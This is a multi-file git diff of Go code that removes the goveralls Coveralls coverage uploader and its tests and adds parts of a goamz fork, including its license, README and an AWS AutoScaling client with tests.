matches := remotesRE.FindAllStringSubmatch(line, -1)
if len(matches) != 1 {
continue
}
if len(matches[0]) != 3 {
continue
}
name := matches[0][1]
url := matches[0][2]
r := Remote{
Name: name,
Url: url,
}
remotes[name] = r
}
h := Head{
Id: results["id"],
AuthorName: results["aname"],
AuthorEmail: results["aemail"],
CommitterName: results["cname"],
CommitterEmail: results["cemail"],
Message: results["message"],
}
g := &Git{
Head: h,
Branch: results["branch"],
}
for _, r := range remotes {
g.Remotes = append(g.Remotes, &r)
}
return g
}
@@ -1,141 +0,0 @@
package main
import (
"bytes"
"encoding/json"
"flag"
"io"
"io/ioutil"
"log"
"os"
"os/exec"
)
type GocovResult struct {
Packages []struct {
Name string
Functions []struct {
Name string
File string
Start, End int
Statements []struct {
Start, End, Reached int
}
}
}
}
func runGocov() (io.ReadCloser, error) {
cmd := exec.Command("gocov")
args := []string{"gocov", "test"}
if *verbose {
args = append(args, "-v")
}
args = append(args, flag.Args()...)
if *pkg != "" {
args = append(args, *pkg)
}
cmd.Args = args
cmd.Stderr = os.Stderr
ret, err := cmd.Output()
if err != nil {
return nil, err
}
return ioutil.NopCloser(bytes.NewReader(ret)), nil
}
func loadGocov() (io.ReadCloser, error) {
if *gocovjson == "" {
return runGocov()
} else {
return os.Open(*gocovjson)
}
}
func parseGocov(cov io.ReadCloser) ([]*SourceFile, error) {
var result GocovResult
d := json.NewDecoder(cov)
err := d.Decode(&result)
if err != nil {
return nil, err
}
cov.Close()
sourceFileMap := map[string]*SourceFile{}
var rv []*SourceFile
// Find all the files and load their content
fileContent := map[string][]byte{}
for _, pkg := range result.Packages {
for _, fun := range pkg.Functions {
b, ok := fileContent[fun.File]
if !ok {
b, err = ioutil.ReadFile(fun.File)
if err != nil {
log.Printf("Error reading %v: %v (skipping)", fun.File, err)
continue
}
fileContent[fun.File] = b
// Count the lines
sf := &SourceFile{
Name: fun.File,
Source: string(b),
Coverage: make([]interface{}, bytes.Count(b, []byte{'\n'})),
}
sourceFileMap[fun.File] = sf
rv = append(rv, sf)
}
sf := sourceFileMap[fun.File]
// First, mark all parts of a mentioned function as covered.
linenum := 0
for i := range b {
if i >= fun.End {
break
}
if b[i] == '\n' {
linenum++
}
if i >= fun.Start {
// Leaving off a newline at the end of
// the file can cause us to compute line
// numbers where there are not lines.
if linenum < len(sf.Coverage) {
sf.Coverage[linenum] = 1
}
}
}
// Then paint each statement as directed. This will mark misses.
for _, st := range fun.Statements {
linenum := 0
for i := range b {
if i >= st.End {
break
}
if b[i] == '\n' {
linenum++
}
if i >= st.Start {
sf.Coverage[linenum] = st.Reached
break // only count the statement start
}
}
}
}
}
return rv, nil
}
func getCoverageGocov() []*SourceFile {
r, err := loadGocov()
if err != nil {
log.Fatalf("Error loading gocov results: %v", err)
}
rv, err := parseGocov(r)
if err != nil {
log.Fatalf("Error parsing gocov: %v", err)
}
return rv
}
@@ -1,148 +0,0 @@
package main
// Much of the core of this is copied from go's cover tool itself.
// Copyright 2013 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// The rest is written by Dustin Sallings
import (
"bufio"
"bytes"
"fmt"
"go/build"
"io/ioutil"
"log"
"os"
"path/filepath"
"regexp"
"strconv"
"strings"
)
// Profile represents the profiling data for a specific file.
type profile struct {
FileName string
Mode string
Blocks []profileBlock
}
// ProfileBlock represents a single block of profiling data.
type profileBlock struct {
StartLine, StartCol int
EndLine, EndCol int
NumStmt, Count int
}
var lineRe = regexp.MustCompile(`^(.+):([0-9]+).([0-9]+),([0-9]+).([0-9]+) ([0-9]+) ([0-9]+)$`)
func toInt(s string) int {
i, err := strconv.Atoi(s)
if err != nil {
panic(err)
}
return i
}
func parseProfiles(fileName string) ([]*profile, error) {
pf, err := os.Open(fileName)
if err != nil {
return nil, err
}
defer pf.Close()
files := make(map[string]*profile)
buf := bufio.NewReader(pf)
// First line is "mode: foo", where foo is "set", "count", or "atomic".
// Rest of file is in the format
// encoding/base64/base64.go:34.44,37.40 3 1
// where the fields are: name.go:line.column,line.column numberOfStatements count
s := bufio.NewScanner(buf)
mode := ""
for s.Scan() {
line := s.Text()
if mode == "" {
const p = "mode: "
if !strings.HasPrefix(line, p) || line == p {
return nil, fmt.Errorf("bad mode line: %v", line)
}
mode = line[len(p):]
continue
}
m := lineRe.FindStringSubmatch(line)
if m == nil {
return nil, fmt.Errorf("line %q doesn't match expected format: %v", m, lineRe)
}
fn := m[1]
p := files[fn]
if p == nil {
p = &profile{
FileName: fn,
Mode: mode,
}
files[fn] = p
}
p.Blocks = append(p.Blocks, profileBlock{
StartLine: toInt(m[2]),
StartCol: toInt(m[3]),
EndLine: toInt(m[4]),
EndCol: toInt(m[5]),
NumStmt: toInt(m[6]),
Count: toInt(m[7]),
})
}
if err := s.Err(); err != nil {
return nil, err
}
rv := make([]*profile, 0, len(files))
for _, profile := range files {
rv = append(rv, profile)
}
return rv, nil
}
func findFile(file string) (string, error) {
dir, file := filepath.Split(file)
pkg, err := build.Import(dir, ".", build.FindOnly)
if err != nil {
return "", fmt.Errorf("can't find %q: %v", file, err)
}
return filepath.Join(pkg.Dir, file), nil
}
func parseCover(fn string) []*SourceFile {
profs, err := parseProfiles(fn)
if err != nil {
log.Fatalf("Error parsing coverage: %v", err)
}
var rv []*SourceFile
for _, prof := range profs {
path, err := findFile(prof.FileName)
if err != nil {
log.Fatalf("Can't find %v", err)
}
fb, err := ioutil.ReadFile(path)
if err != nil {
log.Fatalf("Error reading %v: %v", path, err)
}
sf := &SourceFile{
Name: prof.FileName,
Source: string(fb),
Coverage: make([]interface{}, 1+bytes.Count(fb, []byte{'\n'})),
}
for _, block := range prof.Blocks {
for i := block.StartLine; i <= block.EndLine; i++ {
sf.Coverage[i-1] = block.Count
}
}
rv = append(rv, sf)
}
return rv
}
@@ -1,142 +0,0 @@
// Copyright (c) 2013 Yasuhiro Matsumoto, Jason McVetta.
// This is Free Software, released under the MIT license.
// See http://mattn.mit-license.org/2013 for details.
// goveralls is a Go client for Coveralls.io.
package main
import (
"encoding/json"
"flag"
"fmt"
"log"
"net/http"
"net/url"
"os"
"path/filepath"
"strings"
"time"
"code.google.com/p/go-uuid/uuid"
)
/*
https://coveralls.io/docs/api_reference
*/
var (
pkg = flag.String("package", "", "Go package")
verbose = flag.Bool("v", false, "Pass '-v' argument to 'go test'")
gocovjson = flag.String("gocovdata", "", "If supplied, use existing gocov.json")
coverprof = flag.String("coverprofile", "", "If supplied, use a go cover profile")
repotoken = flag.String("repotoken", "", "Repository Token on coveralls")
service = flag.String("service", "travis-ci", "The CI service or other environment in which the test suite was run. ")
)
// usage supplants package flag's Usage variable
var usage = func() {
cmd := os.Args[0]
// fmt.Fprintf(os.Stderr, "Usage of %s:\n", cmd)
s := "Usage: %s [options] TOKEN\n"
fmt.Fprintf(os.Stderr, s, cmd)
flag.PrintDefaults()
}
// A SourceFile represents a source code file and its coverage data for a
// single job.
type SourceFile struct {
Name string `json:"name"` // File path of this source file
Source string `json:"source"` // Full source code of this file
Coverage []interface{} `json:"coverage"` // Requires both nulls and integers
}
// A Job represents the coverage data from a single run of a test suite.
type Job struct {
RepoToken *string `json:"repo_token,omitempty"`
ServiceJobId string `json:"service_job_id"`
ServiceName string `json:"service_name"`
SourceFiles []*SourceFile `json:"source_files"`
Git *Git `json:"git,omitempty"`
RunAt time.Time `json:"run_at"`
}
// A Response is returned by the Coveralls.io API.
type Response struct {
Message string `json:"message"`
URL string `json:"url"`
Error bool `json:"error"`
}
func getCoverage() []*SourceFile {
if *coverprof != "" {
return parseCover(*coverprof)
} else {
return getCoverageGocov()
}
}
func main() {
log.SetFlags(log.Ltime | log.Lshortfile)
//
// Parse Flags
//
flag.Usage = usage
flag.Parse()
//
// Setup PATH environment variable
//
paths := filepath.SplitList(os.Getenv("PATH"))
if goroot := os.Getenv("GOROOT"); goroot != "" {
paths = append(paths, filepath.Join(goroot, "bin"))
}
if gopath := os.Getenv("GOPATH"); gopath != "" {
for _, path := range filepath.SplitList(gopath) {
paths = append(paths, filepath.Join(path, "bin"))
}
}
os.Setenv("PATH", strings.Join(paths, string(filepath.ListSeparator)))
//
// Initialize Job
//
jobId := os.Getenv("TRAVIS_JOB_ID")
if jobId == "" {
jobId = uuid.New()
}
if *repotoken == "" {
repotoken = nil // remove the entry from json
}
j := Job{
RunAt: time.Now(),
RepoToken: repotoken,
ServiceJobId: jobId,
Git: collectGitInfo(),
SourceFiles: getCoverage(),
ServiceName: *service,
}
b, err := json.Marshal(j)
if err != nil {
log.Fatal(err)
}
params := make(url.Values)
params.Set("json", string(b))
res, err := http.PostForm("https://coveralls.io/api/v1/jobs", params)
if err != nil {
log.Fatal(err)
}
defer res.Body.Close()
var response Response
err = json.NewDecoder(res.Body).Decode(&response)
if err != nil {
log.Fatal(err)
}
if response.Error {
log.Fatal(response.Message)
}
fmt.Println(response.Message)
fmt.Println(response.URL)
}
@@ -1,84 +0,0 @@
package main
import (
"os"
"os/exec"
"path/filepath"
"strings"
"testing"
"code.google.com/p/go-uuid/uuid"
)
func myImportPath() string {
cmd := exec.Command("go", "list")
b, err := cmd.CombinedOutput()
if err == nil {
panic(err)
}
return strings.TrimSpace(string(b))
}
func TestUsage(t *testing.T) {
tmp := prepareTest(t)
defer os.RemoveAll(tmp)
cmd := exec.Command("goveralls", "-h")
b, err := cmd.CombinedOutput()
if err == nil {
t.Fatal("Expected exit code 1 bot 0")
}
s := strings.Split(string(b), "\n")[0]
if !strings.HasPrefix(s, "Usage: goveralls ") {
t.Fatalf("Expected %v, but %v", "Usage: ", s)
}
}
func TestGoveralls(t *testing.T) {
tmp := prepareTest(t)
p := myImportPath()
defer os.RemoveAll(tmp)
runCmd(t, "go", "get", p+"/tester")
runCmd(t, "go", "get", "github.com/axw/gocov/gocov")
b := runCmd(t, "./goveralls", "-package="+p+"/tester", "")
lines := strings.Split(strings.TrimSpace(string(b)), "\n")
s := lines[len(lines)-1]
if s != "Succeeded" {
t.Fatalf("Expected test of tester are succeeded, but failured")
}
}
func TestGoverallsExisting(t *testing.T) {
p := myImportPath()
t.Logf("My import path is %q", p)
tmp := prepareTest(t)
defer os.RemoveAll(tmp)
runCmd(t, "go", "get", p+"/tester")
runCmd(t, "go", "get", "github.com/axw/gocov/gocov")
b := runCmd(t, "goveralls", "-gocovdata=tester/cov.json",
"-package="+p+"/tester", "")
lines := strings.Split(strings.TrimSpace(string(b)), "\n")
s := lines[len(lines)-1]
if s != "Succeeded" {
t.Fatalf("Expected test of tester are succeeded, but failured")
}
}
func prepareTest(t *testing.T) (tmpPath string) {
tmp := os.TempDir()
tmp = filepath.Join(tmp, uuid.New())
os.Setenv("GOPATH", tmp)
path := os.Getenv("PATH")
path = tmp + "/bin:" + path
os.Setenv("PATH", path)
runCmd(t, "go", "get", myImportPath())
return tmp
}
func runCmd(t *testing.T, cmd string, args ...string) []byte {
b, err := exec.Command(cmd, args...).CombinedOutput()
if err != nil {
t.Fatalf("Expected %v, but %v: %v", nil, err, string(b))
}
return b
}
@@ -1 +0,0 @@
{"Packages":[{"Name":"github.com/dustin/goveralls/tester","Functions":[{"Name":"GoverallsTester","File":"/Users/dustin/go/src/github.com/dustin/goveralls/tester/tester.go","Start":34,"End":150,"Statements":[{"Start":67,"End":101,"Reached":1},{"Start":103,"End":138,"Reached":1},{"Start":118,"End":135,"Reached":1},{"Start":140,"End":148,"Reached":1}],"Entered":0,"Left":0}]}]}
@@ -1,13 +0,0 @@
package tester
import (
"os"
)
func GoverallsTester() string {
s := os.Getenv("GOVERALLS_TESTER")
if s == "" {
s = "hello world"
}
return s
}
@@ -1,13 +0,0 @@
package tester
import (
"testing"
)
func TestSimple(t *testing.T) {
value := GoverallsTester()
expected := "hello world"
if value != expected {
t.Fatalf("Expected %v, but %d:", value, expected)
}
}
@@ -0,0 +1,5 @@
# Changes in this fork
* Added EC2.CreateImage()
* Added EC2.CreateKeyPair()
* Added EC2.DeleteKeyPair()
@@ -0,0 +1,185 @@
This software is licensed under the LGPLv3, included below.
As a special exception to the GNU Lesser General Public License version 3
("LGPL3"), the copyright holders of this Library give you permission to
convey to a third party a Combined Work that links statically or dynamically
to this Library without providing any Minimal Corresponding Source or
Minimal Application Code as set out in 4d or providing the installation
information set out in section 4e, provided that you comply with the other
provisions of LGPL3 and provided that you meet, for the Application the
terms and conditions of the license(s) which apply to the Application.
Except as stated in this special exception, the provisions of LGPL3 will
continue to comply in full to this Library. If you modify this Library, you
may apply this exception to your version of this Library, but you are not
obliged to do so. If you do not wish to do so, delete this exception
statement from your version. This exception does not (and cannot) modify any
license terms which apply to the Application, with which you must still
comply.
GNU LESSER GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
This version of the GNU Lesser General Public License incorporates
the terms and conditions of version 3 of the GNU General Public
License, supplemented by the additional permissions listed below.
0. Additional Definitions.
As used herein, "this License" refers to version 3 of the GNU Lesser
General Public License, and the "GNU GPL" refers to version 3 of the GNU
General Public License.
"The Library" refers to a covered work governed by this License,
other than an Application or a Combined Work as defined below.
An "Application" is any work that makes use of an interface provided
by the Library, but which is not otherwise based on the Library.
Defining a subclass of a class defined by the Library is deemed a mode
of using an interface provided by the Library.
A "Combined Work" is a work produced by combining or linking an
Application with the Library. The particular version of the Library
with which the Combined Work was made is also called the "Linked
Version".
The "Minimal Corresponding Source" for a Combined Work means the
Corresponding Source for the Combined Work, excluding any source code
for portions of the Combined Work that, considered in isolation, are
based on the Application, and not on the Linked Version.
The "Corresponding Application Code" for a Combined Work means the
object code and/or source code for the Application, including any data
and utility programs needed for reproducing the Combined Work from the
Application, but excluding the System Libraries of the Combined Work.
1. Exception to Section 3 of the GNU GPL.
You may convey a covered work under sections 3 and 4 of this License
without being bound by section 3 of the GNU GPL.
2. Conveying Modified Versions.
If you modify a copy of the Library, and, in your modifications, a
facility refers to a function or data to be supplied by an Application
that uses the facility (other than as an argument passed when the
facility is invoked), then you may convey a copy of the modified
version:
a) under this License, provided that you make a good faith effort to
ensure that, in the event an Application does not supply the
function or data, the facility still operates, and performs
whatever part of its purpose remains meaningful, or
b) under the GNU GPL, with none of the additional permissions of
this License applicable to that copy.
3. Object Code Incorporating Material from Library Header Files.
The object code form of an Application may incorporate material from
a header file that is part of the Library. You may convey such object
code under terms of your choice, provided that, if the incorporated
material is not limited to numerical parameters, data structure
layouts and accessors, or small macros, inline functions and templates
(ten or fewer lines in length), you do both of the following:
a) Give prominent notice with each copy of the object code that the
Library is used in it and that the Library and its use are
covered by this License.
b) Accompany the object code with a copy of the GNU GPL and this license
document.
4. Combined Works.
You may convey a Combined Work under terms of your choice that,
taken together, effectively do not restrict modification of the
portions of the Library contained in the Combined Work and reverse
engineering for debugging such modifications, if you also do each of
the following:
a) Give prominent notice with each copy of the Combined Work that
the Library is used in it and that the Library and its use are
covered by this License.
b) Accompany the Combined Work with a copy of the GNU GPL and this license
document.
c) For a Combined Work that displays copyright notices during
execution, include the copyright notice for the Library among
these notices, as well as a reference directing the user to the
copies of the GNU GPL and this license document.
d) Do one of the following:
0) Convey the Minimal Corresponding Source under the terms of this
License, and the Corresponding Application Code in a form
suitable for, and under terms that permit, the user to
recombine or relink the Application with a modified version of
the Linked Version to produce a modified Combined Work, in the
manner specified by section 6 of the GNU GPL for conveying
Corresponding Source.
1) Use a suitable shared library mechanism for linking with the
Library. A suitable mechanism is one that (a) uses at run time
a copy of the Library already present on the user's computer
system, and (b) will operate properly with a modified version
of the Library that is interface-compatible with the Linked
Version.
e) Provide Installation Information, but only if you would otherwise
be required to provide such information under section 6 of the
GNU GPL, and only to the extent that such information is
necessary to install and execute a modified version of the
Combined Work produced by recombining or relinking the
Application with a modified version of the Linked Version. (If
you use option 4d0, the Installation Information must accompany
the Minimal Corresponding Source and Corresponding Application
Code. If you use option 4d1, you must provide the Installation
Information in the manner specified by section 6 of the GNU GPL
for conveying Corresponding Source.)
5. Combined Libraries.
You may place library facilities that are a work based on the
Library side by side in a single library together with other library
facilities that are not Applications and are not covered by this
License, and convey such a combined library under terms of your
choice, if you do both of the following:
a) Accompany the combined library with a copy of the same work based
on the Library, uncombined with any other library facilities,
conveyed under the terms of this License.
b) Give prominent notice with the combined library that part of it
is a work based on the Library, and explaining where to find the
accompanying uncombined form of the same work.
6. Revised Versions of the GNU Lesser General Public License.
The Free Software Foundation may publish revised and/or new versions
of the GNU Lesser General Public License from time to time. Such new
versions will be similar in spirit to the present version, but may
differ in detail to address new problems or concerns.
Each version is given a distinguishing version number. If the
Library as you received it specifies that a certain numbered version
of the GNU Lesser General Public License "or any later version"
applies to it, you have the option of following the terms and
conditions either of that published version or of any later version
published by the Free Software Foundation. If the Library as you
received it does not specify a version number of the GNU Lesser
General Public License, you may choose any version of the GNU Lesser
General Public License ever published by the Free Software Foundation.
If the Library as you received it specifies that a proxy can decide
whether future versions of the GNU Lesser General Public License shall
apply, that proxy's public statement of acceptance of any version is
permanent authorization for you to choose that version for the
Library.
@@ -0,0 +1,4 @@
# goamz - An Amazon Library for Go
This is a fork of [https://launchpad.net/goamz](https://launchpad.net/goamz)
that adds some missing API calls to certain packages.
@@ -0,0 +1,491 @@
// The autoscaling package provides types and functions for interaction with the AWS
// AutoScaling service (autoscaling)
package autoscaling
import (
"encoding/xml"
"github.com/mitchellh/goamz/aws"
"net/http"
"net/url"
"strconv"
"strings"
"time"
)
// The AutoScaling type encapsulates operations operations with the autoscaling endpoint.
type AutoScaling struct {
aws.Auth
aws.Region
httpClient *http.Client
}
const APIVersion = "2011-01-01"
// New creates a new AutoScaling instance.
func New(auth aws.Auth, region aws.Region) *AutoScaling {
return NewWithClient(auth, region, aws.RetryingClient)
}
func NewWithClient(auth aws.Auth, region aws.Region, httpClient *http.Client) *AutoScaling {
return &AutoScaling{auth, region, httpClient}
}
func (autoscaling *AutoScaling) query(params map[string]string, resp interface{}) error {
params["Version"] = APIVersion
params["Timestamp"] = time.Now().In(time.UTC).Format(time.RFC3339)
endpoint, err := url.Parse(autoscaling.Region.AutoScalingEndpoint)
if err != nil {
return err
}
sign(autoscaling.Auth, "GET", "/", params, endpoint.Host)
endpoint.RawQuery = multimap(params).Encode()
r, err := autoscaling.httpClient.Get(endpoint.String())
if err != nil {
return err
}
defer r.Body.Close()
if r.StatusCode > 200 {
return buildError(r)
}
decoder := xml.NewDecoder(r.Body)
decodedBody := decoder.Decode(resp)
return decodedBody
}
func buildError(r *http.Response) error {
var (
err Error
errors xmlErrors
)
xml.NewDecoder(r.Body).Decode(&errors)
if len(errors.Errors) > 0 {
err = errors.Errors[0]
}
err.StatusCode = r.StatusCode
if err.Message == "" {
err.Message = r.Status
}
return &err
}
func multimap(p map[string]string) url.Values {
q := make(url.Values, len(p))
for k, v := range p {
q[k] = []string{v}
}
return q
}
func makeParams(action string) map[string]string {
params := make(map[string]string)
params["Action"] = action
return params
}
// ----------------------------------------------------------------------------
// AutoScaling objects
type Tag struct {
Key string `xml:"Key"`
Value string `xml:"Value"`
PropogateAtLaunch string `xml:"PropogateAtLaunch"`
}
type SecurityGroup struct {
SecurityGroup string `xml:"member"`
}
type AvailabilityZone struct {
AvailabilityZone string `xml:"member"`
}
type LoadBalancerName struct {
LoadBalancerName string `xml:"member"`
}
type LaunchConfiguration struct {
ImageId string `xml:"member>ImageId"`
InstanceType string `xml:"member>InstanceType"`
KeyName string `xml:"member>KeyName"`
Name string `xml:"member>LaunchConfigurationName"`
SecurityGroups []SecurityGroup `xml:"member>SecurityGroups"`
}
type AutoScalingGroup struct {
AvailabilityZones []AvailabilityZone `xml:"member>AvailabilityZones"`
DefaultCooldown int `xml:"member>DefaultCooldown"`
DesiredCapacity int `xml:"member>DesiredCapacity"`
HealthCheckGracePeriod int `xml:"member>HealthCheckGracePeriod"`
HealthCheckType string `xml:"member>HealthCheckType"`
InstanceId string `xml:"member>InstanceId"`
LaunchConfigurationName string `xml:"member>LaunchConfigurationName"`
LoadBalancerNames []LoadBalancerName `xml:"member>LoadBalancerNames"`
MaxSize int `xml:"member>MaxSize"`
MinSize int `xml:"member>MinSize"`
Name string `xml:"member>AutoScalingGroupName"`
VPCZoneIdentifier string `xml:"member>VPCZoneIdentifier"`
}
// ----------------------------------------------------------------------------
// Create
// The CreateAutoScalingGroup request parameters
type CreateAutoScalingGroup struct {
AvailZone []string
DefaultCooldown int
DesiredCapacity int
HealthCheckGracePeriod int
HealthCheckType string
InstanceId string
LaunchConfigurationName string
LoadBalancerNames []string
MaxSize int
MinSize int
PlacementGroup string
Name string
Tags []Tag
VPCZoneIdentifier []string
SetDefaultCooldown bool
SetDesiredCapacity bool
SetHealthCheckGracePeriod bool
SetMaxSize bool
SetMinSize bool
}
func (autoscaling *AutoScaling) CreateAutoScalingGroup(options *CreateAutoScalingGroup) (resp *SimpleResp, err error) {
params := makeParams("CreateAutoScalingGroup")
params["AutoScalingGroupName"] = options.Name
if options.SetDefaultCooldown {
params["DefaultCooldown"] = strconv.Itoa(options.DefaultCooldown)
}
if options.SetDesiredCapacity {
params["DesiredCapacity"] = strconv.Itoa(options.DesiredCapacity)
}
if options.SetHealthCheckGracePeriod {
params["HealthCheckGracePeriod"] = strconv.Itoa(options.HealthCheckGracePeriod)
}
if options.HealthCheckType != "" {
params["HealthCheckType"] = options.HealthCheckType
}
if options.InstanceId != "" {
params["InstanceId"] = options.InstanceId
}
if options.LaunchConfigurationName != "" {
params["LaunchConfigurationName"] = options.LaunchConfigurationName
}
for i, v := range options.AvailZone {
params["AvailabilityZones.member."+strconv.Itoa(i+1)] = v
}
for i, v := range options.LoadBalancerNames {
params["LoadBalancerNames.member."+strconv.Itoa(i+1)] = v
}
if options.SetMaxSize {
params["MaxSize"] = strconv.Itoa(options.MaxSize)
}
if options.SetMinSize {
params["MinSize"] = strconv.Itoa(options.MinSize)
}
if options.PlacementGroup != "" {
params["PlacementGroup"] = options.PlacementGroup
}
for j, tag := range options.Tags {
params["Tag.member."+strconv.Itoa(j+1)+".Key"] = tag.Key
params["Tag.member."+strconv.Itoa(j+1)+".Value"] = tag.Value
}
if options.VPCZoneIdentifier != nil {
params["VPCZoneIdentifier"] = strings.Join(options.VPCZoneIdentifier, ",")
}
resp = &SimpleResp{}
err = autoscaling.query(params, resp)
if err != nil {
resp = nil
}
return
}
// The CreateLaunchConfiguration request parameters
type CreateLaunchConfiguration struct {
ImageId string
InstanceId string
InstanceType string
KeyName string
Name string
SecurityGroups []string
}
func (autoscaling *AutoScaling) CreateLaunchConfiguration(options *CreateLaunchConfiguration) (resp *SimpleResp, err error) {
params := makeParams("CreateLaunchConfiguration")
params["LaunchConfigurationName"] = options.Name
if options.ImageId != "" {
params["ImageId"] = options.ImageId
}
if options.InstanceType != "" {
params["InstanceType"] = options.InstanceType
}
if options.InstanceId != "" {
params["InstanceId"] = options.InstanceId
}
if options.KeyName != "" {
params["KeyName"] = options.KeyName
}
for i, v := range options.SecurityGroups {
params["SecurityGroups.member."+strconv.Itoa(i+1)] = v
}
resp = &SimpleResp{}
err = autoscaling.query(params, resp)
if err != nil {
resp = nil
}
return
}
// Describe
// DescribeAutoScalingGroups request params
type DescribeAutoScalingGroups struct {
Names []string
}
type DescribeAutoScalingGroupsResp struct {
RequestId string `xml:"ResponseMetadata>RequestId"`
AutoScalingGroups []AutoScalingGroup `xml:"DescribeAutoScalingGroupsResult>AutoScalingGroups"`
}
func (autoscaling *AutoScaling) DescribeAutoScalingGroups(options *DescribeAutoScalingGroups) (resp *DescribeAutoScalingGroupsResp, err error) {
params := makeParams("DescribeAutoScalingGroups")
for i, v := range options.Names {
params["AutoScalingGroupNames.member."+strconv.Itoa(i+1)] = v
}
resp = &DescribeAutoScalingGroupsResp{}
err = autoscaling.query(params, resp)
if err != nil {
resp = nil
}
return
}
// DescribeLaunchConfigurations request params
type DescribeLaunchConfigurations struct {
Names []string
}
type DescribeLaunchConfigurationsResp struct {
RequestId string `xml:"ResponseMetadata>RequestId"`
LaunchConfigurations []LaunchConfiguration `xml:"DescribeLaunchConfigurationsResult>LaunchConfigurations"`
}
func (autoscaling *AutoScaling) DescribeLaunchConfigurations(options *DescribeLaunchConfigurations) (resp *DescribeLaunchConfigurationsResp, err error) {
params := makeParams("DescribeLaunchConfigurations")
for i, v := range options.Names {
params["LaunchConfigurationNames.member."+strconv.Itoa(i+1)] = v
}
resp = &DescribeLaunchConfigurationsResp{}
err = autoscaling.query(params, resp)
if err != nil {
resp = nil
}
return
}
// ----------------------------------------------------------------------------
// Destroy
// The DeleteLaunchConfiguration request parameters
type DeleteLaunchConfiguration struct {
Name string
}
func (autoscaling *AutoScaling) DeleteLaunchConfiguration(options *DeleteLaunchConfiguration) (resp *SimpleResp, err error) {
params := makeParams("DeleteLaunchConfiguration")
params["LaunchConfigurationName"] = options.Name
resp = &SimpleResp{}
err = autoscaling.query(params, resp)
if err != nil {
resp = nil
}
return
}
// The DeleteLaunchConfiguration request parameters
type DeleteAutoScalingGroup struct {
Name string
ForceDelete bool
}
func (autoscaling *AutoScaling) DeleteAutoScalingGroup(options *DeleteAutoScalingGroup) (resp *SimpleResp, err error) {
params := makeParams("DeleteAutoScalingGroup")
params["AutoScalingGroupName"] = options.Name
params["ForceDelete"] = strconv.FormatBool(options.ForceDelete)
resp = &SimpleResp{}
err = autoscaling.query(params, resp)
if err != nil {
resp = nil
}
return
}
// ----------------------------------------------------------------------------
// Destroy
// The UpdateAutoScalingGroup request parameters
type UpdateAutoScalingGroup struct {
AvailZone []string
DefaultCooldown int
DesiredCapacity int
HealthCheckGracePeriod int
HealthCheckType string
LaunchConfigurationName string
MaxSize int
MinSize int
PlacementGroup string
Name string
VPCZoneIdentifier []string
SetDefaultCooldown bool
SetDesiredCapacity bool
SetHealthCheckGracePeriod bool
SetMaxSize bool
SetMinSize bool
}
func (autoscaling *AutoScaling) UpdateAutoScalingGroup(options *UpdateAutoScalingGroup) (resp *SimpleResp, err error) {
params := makeParams("UpdateAutoScalingGroup")
if options.Name != "" {
params["AutoScalingGroupName"] = options.Name
}
if options.SetDefaultCooldown {
params["DefaultCooldown"] = strconv.Itoa(options.DefaultCooldown)
}
if options.SetDesiredCapacity {
params["DesiredCapacity"] = strconv.Itoa(options.DesiredCapacity)
}
if options.SetHealthCheckGracePeriod {
params["HealthCheckGracePeriod"] = strconv.Itoa(options.HealthCheckGracePeriod)
}
if options.HealthCheckType != "" {
params["HealthCheckType"] = options.HealthCheckType
}
if options.LaunchConfigurationName != "" {
params["LaunchConfigurationName"] = options.LaunchConfigurationName
}
for i, v := range options.AvailZone {
params["AvailabilityZones.member."+strconv.Itoa(i+1)] = v
}
if options.SetMaxSize {
params["MaxSize"] = strconv.Itoa(options.MaxSize)
}
if options.SetMinSize {
params["MinSize"] = strconv.Itoa(options.MinSize)
}
if options.PlacementGroup != "" {
params["PlacementGroup"] = options.PlacementGroup
}
if options.VPCZoneIdentifier != nil {
params["VPCZoneIdentifier"] = strings.Join(options.VPCZoneIdentifier, ",")
}
resp = &SimpleResp{}
err = autoscaling.query(params, resp)
if err != nil {
resp = nil
}
return
}
// Responses
type SimpleResp struct {
RequestId string `xml:"ResponseMetadata>RequestId"`
}
type xmlErrors struct {
Errors []Error `xml:"Error"`
}
// Error encapsulates an autoscaling error.
type Error struct {
// HTTP status code of the error.
StatusCode int
// AWS code of the error.
Code string
// Message explaining the error.
Message string
}
func (e *Error) Error() string {
var prefix string
if e.Code != "" {
prefix = e.Code + ": "
}
if prefix == "" && e.StatusCode > 0 {
prefix = strconv.Itoa(e.StatusCode) + ": "
}
return prefix + e.Message
}
@@ -0,0 +1,179 @@
package autoscaling_test
import (
"github.com/mitchellh/goamz/autoscaling"
"github.com/mitchellh/goamz/aws"
"github.com/mitchellh/goamz/testutil"
. "github.com/motain/gocheck"
"testing"
)
func Test(t *testing.T) {
TestingT(t)
}
type S struct {
autoscaling *autoscaling.AutoScaling
}
var _ = Suite(&S{})
var testServer = testutil.NewHTTPServer()
func (s *S) SetUpSuite(c *C) {
testServer.Start()
auth := aws.Auth{"abc", "123", ""}
s.autoscaling = autoscaling.NewWithClient(auth, aws.Region{AutoScalingEndpoint: testServer.URL}, testutil.DefaultClient)
}
func (s *S) TearDownTest(c *C) {
testServer.Flush()
}
func (s *S) Test_CreateAutoScalingGroup(c *C) {
testServer.Response(200, nil, CreateAutoScalingGroupExample)
options := autoscaling.CreateAutoScalingGroup{
AvailZone: []string{"us-east-1a"},
DefaultCooldown: 30,
DesiredCapacity: 2,
HealthCheckGracePeriod: 30,
HealthCheckType: "elb",
InstanceId: "i-foo",
LaunchConfigurationName: "foobar",
MinSize: 2,
MaxSize: 2,
PlacementGroup: "foobar",
Name: "foobar",
Tags: []autoscaling.Tag{
autoscaling.Tag{
Key: "foo",
Value: "bar",
},
},
VPCZoneIdentifier: []string{"foo", "bar"},
}
resp, err := s.autoscaling.CreateAutoScalingGroup(&options)
req := testServer.WaitRequest()
c.Assert(req.Form["Action"], DeepEquals, []string{"CreateAutoScalingGroup"})
c.Assert(req.Form["InstanceId"], DeepEquals, []string{"i-foo"})
c.Assert(req.Form["VPCZoneIdentifier"], DeepEquals, []string{"foo,bar"})
c.Assert(err, IsNil)
c.Assert(resp.RequestId, Equals, "8d798a29-f083-11e1-bdfb-cb223EXAMPLE")
}
func (s *S) Test_CreateLaunchConfiguration(c *C) {
testServer.Response(200, nil, CreateLaunchConfigurationExample)
options := autoscaling.CreateLaunchConfiguration{
SecurityGroups: []string{"sg-1111"},
ImageId: "i-141421",
InstanceId: "i-141421",
InstanceType: "m1.small",
KeyName: "foobar",
Name: "i-141421",
}
